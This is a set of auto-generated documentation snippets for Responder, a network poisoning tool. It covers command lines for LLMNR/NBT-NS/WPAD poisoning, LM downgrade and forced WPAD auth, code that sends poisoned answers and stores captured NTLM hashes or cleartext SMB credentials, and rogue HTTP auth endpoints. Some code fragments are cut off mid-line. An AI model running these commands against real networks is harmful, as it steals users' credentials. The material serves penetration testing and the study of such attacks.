### Usage example: start WPAD proxy with upstream relay Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/servers-http-proxy.md Command to start the WPAD proxy with upstream relay and forced auth on wpad.dat. ```bash # Start the WPAD proxy with upstream relay and forced auth on wpad.dat: ./Responder.py -I eth0 -w -u proxy.corp.local:3128 -F ``` -------------------------------- ### Run Responder with default options Source: https://github.com/spiderlabs/responder/blob/master/README.md Starts Responder using default settings. Requires a network interface specified with -I. ```bash ./Responder.py [options] ``` -------------------------------- ### Utility Functions Usage Example Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/utils.md Example usage of RespondToThisHost, SaveToDb, Decode_Name, and color functions from utils.py. ```APIDOC ## Utility Functions Usage Example ### Description Demonstrates how to use the utility functions `Decode_Name`, `RespondToThisHost`, `SaveToDb`, and `color` from the `utils` module. ### Functions Used - **Decode_Name(raw_nbns_payload[13:45])** - Decodes a NetBIOS name from the raw NBNS payload. - **RespondToThisHost(client_ip, name)** - Checks if the host should receive a poisoned answer. - **SendPoisonedAnswer(...)** - Sends a poisoned answer (not detailed here). - **SaveToDb(data)** - Saves a record to the database. The `data` dict schema is described in `types.md`. - **color(text, color_code, style)** - Returns a colored string for terminal output. ### Example Code ```python from utils import RespondToThisHost, SaveToDb, Decode_Name, color name = Decode_Name(raw_nbns_payload[13:45]) if RespondToThisHost(client_ip, name): SendPoisonedAnswer(...) SaveToDb({ 'module': 'SMB', 'type': 'NTLMv2', 'client': client_ip, 'user': 'DOMAIN\\bob', 'hash': nt_hash, 'fullhash': '$hash_line', }) print color('[+] saved', 2, 1) ``` ``` -------------------------------- ### Usage example for utility functions Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/utils.md Shows how to use Decode_Name, RespondToThisHost, SendPoisonedAnswer, and SaveToDb. It decodes a NetBIOS name from a raw payload, checks if the host should be responded to, sends a poisoned answer, and saves the hash to the database. ```python from utils import RespondToThisHost, SaveToDb, Decode_Name, color name = Decode_Name(raw_nbns_payload[13:45]) if RespondToThisHost(client_ip, name): SendPoisonedAnswer(...) SaveToDb({ 'module': 'SMB', 'type': 'NTLMv2', 'client': client_ip, 'user': 'DOMAIN\\bob', 'hash': nt_hash, 'fullhash': '$hash_line', }) print color('[+] saved', 2, 1) ``` -------------------------------- ### Programmatic equivalent: wire HTTP_Proxy handler Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/servers-http-proxy.md Shows how to programmatically start the HTTP proxy server on port 3141 using the HTTP_Proxy handler. ```python # programmatic equivalent: the handler is wired by Responder.py main() from servers.HTTP_Proxy import HTTP_Proxy serve_thread_tcp('', 3141, HTTP_Proxy) ``` -------------------------------- ### Error handling example Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/responder.md Shows the error output when a server fails to bind, such as when the port is already in use. The script logs an error line but does not stop the remaining threads. ```bash $ ./Responder.py -I eth0 -w [!] Error starting TCP server on port 3141, check permissions or other servers running. ``` -------------------------------- ### HTTP auth server with Basic auth and upstream proxy Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/responder.md Starts an HTTP auth server that answers with Basic instead of NTLM, enables verbose output, and relays outbound proxy traffic through an upstream proxy at 10.0.0.1:8080. ```bash ./Responder.py -I eth0 -b -v -w -u 10.0.0.1:8080 ``` -------------------------------- ### Run BrowserListener.py passive browser listener Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/tools.md Starts the passive browser listener. Parses UDP 138 browser datagrams (server announcements) and prints `> - []` lines plus role bitfields. Imports `WorkstationFingerPrint`, `RequestType`, `RAPThisDomain`, and `RapFinger` from `servers.Browser`. ```bash python tools/BrowserListener.py ``` -------------------------------- ### color() function definition Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/utils.md Defines the color() helper that applies ANSI color codes to text and logs to specific loggers based on content. If txt starts with '[*]' it logs to PoisonersLogger; if it contains 'Analyze' it logs to AnalyzeLogger. On Windows, returns plain text without ANSI codes. ```python def color(txt, code = 1, modifier = 0): if txt.startswith('[*]'): settings.Config.PoisonersLogger.warning(txt) elif 'Analyze' in txt: settings.Config.AnalyzeLogger.warning(txt) if os.name == 'nt': # No colors for windows... return txt return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) ``` -------------------------------- ### Initialize and use settings.Config Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/settings.md Initializes the settings module and populates the Config object with options from optparse. Shows how to access configuration attributes like Bind_To, Challenge, and AnalyzeMode anywhere in the codebase. ```python import settings settings.init() # creates settings.Config (empty) settings.Config.populate(options) # options from optparse (see responder.md) # then anywhere in the codebase: ip = settings.Config.Bind_To chal = settings.Config.Challenge if settings.Config.AnalyzeMode: print "analyzing, not poisoning" ``` -------------------------------- ### Settings.__init__ method Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/settings.md Initializes the Settings instance with ResponderPATH set to the directory of settings.py and Bind_To set to '0.0.0.0'. ```python def __init__(self): self.ResponderPATH = os.path.dirname(__file__) self.Bind_To = '0.0.0.0' ``` -------------------------------- ### init() function Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/settings.md Creates the module-global singleton settings.Config as an empty Settings() instance. Called once by Responder.py before populate(). ```python def init(): global Config Config = Settings() ``` -------------------------------- ### ANY [ANY] Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/endpoints.md Serves executable files when Config.Serve_Always is enabled or Config.Serve_Exe is enabled and the URL contains .exe. The response is a 200 OK with the file as an attachment. ```APIDOC ## [ANY] [ANY] ### Description Serves executable files when Config.Serve_Always is enabled or Config.Serve_Exe is enabled and the URL contains .exe. The response is a 200 OK with the file as an attachment. ### Method ANY ### Endpoint ANY ### Parameters #### Query Parameters - **URL** (string) - Required - Must contain .exe if Config.Serve_Exe is enabled. ### Response #### Success Response (200) - **Status**: 200 OK - **Headers**: Content-Type: application/octet-stream, Content-Disposition: attachment; filename= (or requested basename via proxy) - **Body**: The executable file content. #### Response Example HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Disposition: attachment; filename= ``` -------------------------------- ### Capture-everything run with WPAD proxy and upstream relay Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/configuration.md Run Responder on interface eth0 with WPAD proxy support (-w), upstream proxy at proxy.corp.local:3128 (-u), fingerprinting (-f), and verbose output (-v). This captures everything and relays through the specified proxy. ```bash ./Responder.py -I eth0 -w -u proxy.corp.local:3128 -f -f -v ``` -------------------------------- ### ANY [ANY] Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/endpoints.md Serves HTML files when Config.Serve_Html is enabled. The response is a 200 OK with Content-Type text/html. ```APIDOC ## [ANY] [ANY] ### Description Serves HTML files when Config.Serve_Html is enabled. The response is a 200 OK with Content-Type text/html. ### Method ANY ### Endpoint ANY ### Parameters #### Query Parameters - **URL** (string) - Required - Any path. ### Response #### Success Response (200) - **Status**: 200 OK - **Headers**: Content-Type: text/html - **Body**: The HTML file content. #### Response Example HTTP/1.1 200 OK Content-Type: text/html ``` -------------------------------- ### populate method signature Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/settings.md Reads Responder.conf from ResponderPATH via ConfigParser and assigns attributes. options is the optparse.Values object from Responder.py. ```python def populate(self, options): ``` -------------------------------- ### ANY [ANY] Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/endpoints.md Handles Basic authentication requests to the rogue HTTP/HTTPS auth server. The server decodes the user:pass from the Authorization header, saves an HTTP/Basic record, and responds with 200 OK and the configured HTML to inject (or forced WPAD script). ```APIDOC ## [ANY] [ANY] ### Description Handles Basic authentication requests to the rogue HTTP/HTTPS auth server. The server decodes the user:pass from the Authorization header, saves an HTTP/Basic record, and responds with 200 OK and the configured HTML to inject (or forced WPAD script). ### Method ANY ### Endpoint ANY ### Parameters #### Request Headers - **Authorization** (string) - Required - Must be `Basic ` where the decoded value is `user:pass`. ### Response #### Success Response (200) - **Status**: HTTP/1.1 200 OK - **Body**: Config.HtmlToInject, or forced WPAD script if Config.Force_WPAD_Auth and path matches /wpad.dat or .pac. #### Response Example HTTP/1.1 200 OK ``` -------------------------------- ### OptionParser construction in Responder.py Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/responder.md Constructs the optparse OptionParser with usage string, version, and program name. Evaluated at module import time before main() runs. ```python parser = optparse.OptionParser(usage='python %prog -I eth0 -w -r -f\nor:\npython %prog -I eth0 -wrf', version=settings.__version__, prog=sys.argv[0]) ``` -------------------------------- ### ANY [ANY] Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/endpoints.md Serves a WPAD PAC script when the URL contains /wpad.dat or *.pac and Config.Force_WPAD_Auth is off. The response is a 200 OK with Content-Type application/x-ns-proxy-autoconfig. ```APIDOC ## [ANY] [ANY] ### Description Serves a WPAD PAC script when the URL contains /wpad.dat or *.pac and Config.Force_WPAD_Auth is off. The response is a 200 OK with Content-Type application/x-ns-proxy-autoconfig. ### Method ANY ### Endpoint ANY ### Parameters #### Query Parameters - **URL** (string) - Required - Must contain /wpad.dat or *.pac. ### Response #### Success Response (200) - **Status**: 200 OK - **Headers**: Content-Type: application/x-ns-proxy-autoconfig - **Body**: Config.WPAD_Script #### Response Example HTTP/1.1 200 OK Content-Type: application/x-ns-proxy-autoconfig ``` -------------------------------- ### Packet.__init__(self, **kw) Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/packets.md Initializes a Packet instance by copying the class-level fields OrderedDict and applying keyword overrides. Values can be plain values or callables that transform the current field value. ```APIDOC ## Packet.__init__(self, **kw) ### Description Initializes a Packet instance. Copies the class-level `fields` OrderedDict and applies keyword overrides. Each keyword argument can be a plain value (assigned verbatim) or a callable (invoked with the current field value, and the result assigned). ### Method Constructor ### Signature `__init__(self, **kw)` ### Parameters - **kw** (keyword arguments) - Optional - Overrides for named fields. Values may be plain values or callables. ### Behavior - Copies `self.__class__.fields` into a new OrderedDict per instance. - For each keyword argument, if the value is callable, it is called with the current field value and the result is assigned; otherwise the value is assigned directly. ### Example ```python packet = MyPacket(field1="value", field2=lambda current: current + "suffix") ``` ``` -------------------------------- ### Basic poisoning run with -wrf flags Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/responder.md Runs Responder.py with the -I, -w, -r, and -f flags to enable LLMNR, NBT-NS, WPAD, wredir, and fingerprinting on the specified interface. ```bash ./Responder.py -I eth0 -wrf ``` -------------------------------- ### Catch per-module errors in consumer code (Python) Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/errors.md Shows four error-handling patterns for Responder consumer code: 1) startup validation checks euid and raises SystemExit if not root; 2) config errors from ConfigParser are caught during settings.Config.populate(); 3) packet builders like LLMNR_Ans throw struct.error or IndexError on bad input; 4) SaveToDb may raise sqlite3.Error on DB corruption. Use this as a reference for handling errors in your own consumer code. ```python # 1. Startup validation — checked before any listener starts if os.geteuid() != 0: # Responder.py exits -1; check euid yourself: raise SystemExit("must run as root") # 2. Config errors propagate from ConfigParser into populate() try: settings.Config.populate(options) except (ConfigParser.NoSectionError, ConfigParser.NoOptionError) as e: print "bad Responder.conf:", e # 3. Packet builders throw standard struct errors on bad input from packets import LLMNR_Ans try: b = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name) except (struct.error, IndexError) as e: print "malformed query:", e # 4. SaveToDb handles its own persistence; failures inside sqlite # operations are uncaught and propagate to the caller's handler loop from utils import SaveToDb SaveToDb(result) # may raise sqlite3.Error on DB corruption ``` -------------------------------- ### ANY [ANY] Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/endpoints.md Handles NTLM Type-3 messages sent to the rogue HTTP/HTTPS auth server. The server parses the hash and saves an HTTP/NTLMv1 or HTTP/NTLMv2 record, then responds with 200 OK and the configured HTML to inject, unless forced WPAD auth is enabled and the path matches /wpad.dat or .pac. ```APIDOC ## [ANY] [ANY] ### Description Handles NTLM Type-3 messages sent to the rogue HTTP/HTTPS auth server. The server parses the hash and saves an HTTP/NTLMv1 or HTTP/NTLMv2 record, then responds with 200 OK and the configured HTML to inject, unless forced WPAD auth is enabled and the path matches /wpad.dat or .pac. ### Method ANY ### Endpoint ANY ### Parameters #### Request Headers - **Authorization** (string) - Required - Must be `NTLM ` where the decoded byte 8 equals `\x03`. ### Response #### Success Response (200) - **Status**: HTTP/1.1 200 OK - **Headers**: Content-Length: - **Body**: Config.HtmlToInject, unless Config.Force_WPAD_Auth and path matches /wpad.dat or .pac, in which case the WPAD PAC script is returned. #### Response Example HTTP/1.1 200 OK Content-Length: ``` -------------------------------- ### LM downgrade mode with --lm flag Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/configuration.md Enable LM downgrade mode, which switches the SMB server to SMB1LM and delivers the challenge as the LM key. Use this to force older authentication protocols. ```bash ./Responder.py -I eth0 --lm ``` -------------------------------- ### ExpandIPRanges method Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/settings.md Expands each entry of self.RespondTo and self.DontRespondTo in place using expand_ranges. Each entry must be a dotted quad with optional lo-hi ranges. ```python self.RespondTo = expand_ranges(self.RespondTo) self.DontRespondTo = expand_ranges(self.DontRespondTo) ``` -------------------------------- ### Settings.toBool method Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/settings.md Converts Responder.conf On/Off values to booleans. Returns True only for the exact string 'ON'. ```python def toBool(self, str): return str.upper() == 'ON' ``` -------------------------------- ### RespondToThisHost: combine IP and name checks Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/utils.md Returns True only if both RespondToThisIP and RespondToThisName return True. Used to decide whether to respond to a given client IP and name. ```python def RespondToThisHost(ClientIp, Name): return RespondToThisIP(ClientIp) and RespondToThisName(Name) ``` -------------------------------- ### Custom challenge and targeted responses in Responder.conf Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/configuration.md Configure a custom challenge value and restrict responses to specific IP ranges and hostnames. The Challenge must be a hex string; RespondTo accepts comma-separated IP ranges; DontRespondToName lists hostnames to ignore; AutoIgnoreAfterSuccess enables automatic ignoring after a successful hash capture. ```ini # Responder.conf [Responder Core] Challenge = 0011223344556677 RespondTo = 10.20.1.100-150, 10.20.3.10 DontRespondToName = NAC, IPS AutoIgnoreAfterSuccess = On ``` -------------------------------- ### LM downgrade with OSX-specific IP binding Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/responder.md Runs Responder.py with LM downgrade enabled and binds to a specific IP address on an OSX interface. ```bash ./Responder.py -I en0 -i 192.168.1.10 --lm ``` -------------------------------- ### DNS_Ans.calculate method Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/packets.md Populates Tid, QuestionName, IP, and IPLen fields for a DNS answer packet. The IP length is packed as a big-endian short. ```python def calculate(self,data): self.fields["Tid"] = data[0:2] self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) self.fields["IP"] = settings.Config.IP_aton self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) ``` -------------------------------- ### Run FindSMB2UPTime.py against a DC Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/tools.md Checks a domain controller for SMBv2 boot time and MS14-068 vulnerability. Requires a DC IP address as the single argument. ```bash python tools/FindSMB2UPTime.py ``` -------------------------------- ### ANY [ANY] Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/endpoints.md Handles unauthenticated requests to the rogue HTTP/HTTPS auth server. Any method and path are accepted; the server responds with a 401 Unauthorized and solicits authentication via the WWW-Authenticate header. ```APIDOC ## [ANY] [ANY] ### Description Handles unauthenticated requests to the rogue HTTP/HTTPS auth server. Any method and path are accepted; the server responds with a 401 Unauthorized and solicits authentication via the WWW-Authenticate header. ### Method ANY ### Endpoint ANY ### Parameters #### Request Body - none required ### Response #### Success Response (401) - **Status**: HTTP/1.1 401 Unauthorized - **Headers**: Server: Microsoft-IIS/6.0, X-Powered-By: ASP.NET, Content-Length: 0, WWW-Authenticate: NTLM (default) or Basic realm="Authentication Required" (+ Access-Control-Allow-* CORS headers) - **Body**: IIS_Basic_401_Ans if Config.Basic, else IIS_Auth_401_Ans #### Response Example HTTP/1.1 401 Unauthorized Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Length: 0 WWW-Authenticate: NTLM ``` -------------------------------- ### Hash filename format Source: https://github.com/spiderlabs/responder/blob/master/README.md Defines the naming convention for captured hash files. The format is (MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt, where MODULE_NAME is the Responder module, HASH_TYPE is the hash type, and CLIENT_IP is the client's IP address. ```text (MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt ``` -------------------------------- ### ANY [ANY] Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/endpoints.md Handles NTLM Type-1 messages sent to the rogue HTTP/HTTPS auth server. The server responds with a 401 Unauthorized and a Type-2 challenge in the WWW-Authenticate header. ```APIDOC ## [ANY] [ANY] ### Description Handles NTLM Type-1 messages sent to the rogue HTTP/HTTPS auth server. The server responds with a 401 Unauthorized and a Type-2 challenge in the WWW-Authenticate header. ### Method ANY ### Endpoint ANY ### Parameters #### Request Headers - **Authorization** (string) - Required - Must be `NTLM ` where the decoded byte 8 equals `\x01`. ### Response #### Success Response (401) - **Status**: HTTP/1.1 401 Unauthorized - **Key Header**: WWW-Authenticate: NTLM - **Body**: IIS_NTLM_Challenge_Ans wrapping NTLM_Challenge(ServerChallenge=Config.Challenge) #### Response Example HTTP/1.1 401 Unauthorized WWW-Authenticate: NTLM ``` -------------------------------- ### OsNameClientVersion(data) — fingerprint.py:24 Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/fingerprint.md Parses the server response to extract the OS version and LAN Manager client version. Returns a (OsVersion, ClientVersion) tuple of strings; on any parse failure it returns the fallback strings "Could not fingerprint Os version." and "Could not fingerprint LanManager Client version". ```python def OsNameClientVersion(data): try: length = struct.unpack(' anonymous session setup -> tree connect \\\IPC$ # -> Trans2 NetServerEnum3 -> ParsePacket(data) except: pass ``` -------------------------------- ### Hash capture flow comment Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/servers-smb.md Comment describing the hash capture flow when a Windows client authenticates to the rogue share. ```python # hash capture flow when a Windows client authenticates to the rogue share: # client SMB negotiate -> SMB1 replies SPNEGO/Kerberos advert # client session-setup (NTLMSSP negotiate) -> SMB1 sends NTLM Type-2 challenge # client sends NTLMSSP_AUTH -> ParseSMBHash -> SaveToDb -> JtR hash in logs/ ``` -------------------------------- ### LLMNR_Ans.calculate method Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/packets.md Populates IP, IPLen, AnswerNameLen, and QuestionNameLen fields for an LLMNR answer packet. The name lengths are packed as big-endian shorts. ```python def calculate(self): self.fields["IP"] = settings.Config.IP_aton self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1] self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1] ``` -------------------------------- ### IsNT4ClearTxt - Extract NT4 cleartext credentials Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/servers-smb.md Detects NT4-style cleartext session-setup by checking flags \x03\x80. When the chained command is a tree-connect (\x75), extracts and writes user:password via WriteData. ```python def IsNT4ClearTxt(data, client): HeadLen = 36 if data[14:16] == "\x03\x80": ... if ChainedCmdOffset == "\x75": PassLen = struct.unpack(' 2: Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","") User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","") print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password)) WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password) ``` -------------------------------- ### color(txt, code = 1, modifier = 0) Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/utils.md Formats text with ANSI color codes and logs it to specific loggers based on content. Returns the ANSI-wrapped string, or plain text on Windows. ```APIDOC ## color(txt, code = 1, modifier = 0) ### Description Formats text with ANSI color codes and logs it to specific loggers based on content. Returns the ANSI-wrapped string, or plain text on Windows. ### Method Function ### Signature ```python def color(txt, code = 1, modifier = 0) ``` ### Parameters - **txt** (str) - Required - Text to print/log - **code** (int) - Optional (default: 1) - ANSI color code (1=red, 2=green, 3=yellow, 4=blue, 5=magenta) - **modifier** (int) - Optional (default: 0) - ANSI modifier (bold = 1) ### Side Effects - If `txt` starts with `[*]`, it is written to `PoisonersLogger`. - If `txt` contains `Analyze`, it is written to `AnalyzeLogger`. ### Returns - The ANSI-wrapped string, or plain `txt` on Windows. ``` -------------------------------- ### Disable dnsmasq in NetworkManager.conf Source: https://github.com/spiderlabs/responder/blob/master/README.md Edit /etc/NetworkManager/NetworkManager.conf and comment the line `dns=dnsmasq` to prevent dnsmasq from interfering with Responder. Then kill dnsmasq as root with the command shown. ```bash killall dnsmasq -9 ``` -------------------------------- ### MDNS_Ans.calculate method Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/packets.md Populates the IPLen field for an mDNS answer packet. The IP length is packed as a big-endian short. ```python def calculate(self): self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) ``` -------------------------------- ### odict.py Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/fingerprint.md Provides an insertion-ordered dictionary class. ```APIDOC ## `class OrderedDict(dict, DictMixin)` — `odict.py:17` ### Description A `dict` subclass that preserves insertion order. Provides ordered iteration, popitem, copy, fromkeys, equality, and repr methods. ### Methods - `__init__(self, *args, **kwds)` - Initializes the ordered dict. Raises `TypeError` if more than one positional argument is given. - `__setitem__(key, value)` - Appends key to the ordering chain and stores the value. - `__delitem__(key)` - Removes key from the chain and dict. - `__iter__` - Yields keys in insertion order. - `__reversed__` - Yields keys in reverse insertion order. - `popitem(last=True)` - Pops last (`last=True`) or first (`last=False`) item; raises `KeyError` when empty. - `keys()` - Returns `list(self)` (ordered). - `items()` / `values()` / `pop` / `update` / `setdefault` / `iterkeys` / `itervalues` / `iteritems` - Inherited from `DictMixin`. - `copy()` - Returns `self.__class__(self)`. - `fromkeys(iterable, value=None)` - Classmethod building an ordered dict. - `__eq__` / `__ne__` - Order-sensitive equality between two `OrderedDict`s; falls back to `dict.__eq__` against other types. - `__repr__` - Returns `OrderedDict([(k, v), ...])`. - `__reduce__` - Pickle support. ``` -------------------------------- ### SaveToDb function definition Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/utils.md Defines SaveToDb, which persists a captured credential. The result dict must contain fields like module, type, client, hostname, user, cleartext, hash, and fullhash. Missing keys default to empty strings, and records with user length less than 2 are dropped. ```python def SaveToDb(result): ``` -------------------------------- ### def hexdump(src, l=0x16) Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/utils.md Returns a hexdump string of the input data in rows of l bytes with an ASCII gutter. ```APIDOC ## def hexdump(src, l=0x16) ### Description Returns a hexdump string of `src` in rows of `l` bytes with an ASCII gutter (`.` for non-printable bytes). ### Method Function ### Signature `hexdump(src, l=0x16)` ### Parameters - **src** (bytes) - Required - The source data to hexdump. - **l** (int) - Optional - Number of bytes per row. Default is 0x16 (22). ### Returns - **str** - A hexdump string with ASCII gutter. ### Example ```python from utils import hexdump print(hexdump(b'hello world')) ``` ``` -------------------------------- ### Is_Anonymous - Detect anonymous SMB auth Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/servers-smb.md Returns True when the LM response length field is 0 or 1, indicating anonymous or empty authentication. The branch is chosen based on the security-blob length. ```python def Is_Anonymous(data): # Detect if SMB auth was Anonymous SecBlobLen = struct.unpack(' 260: LMhashLen = struct.unpack('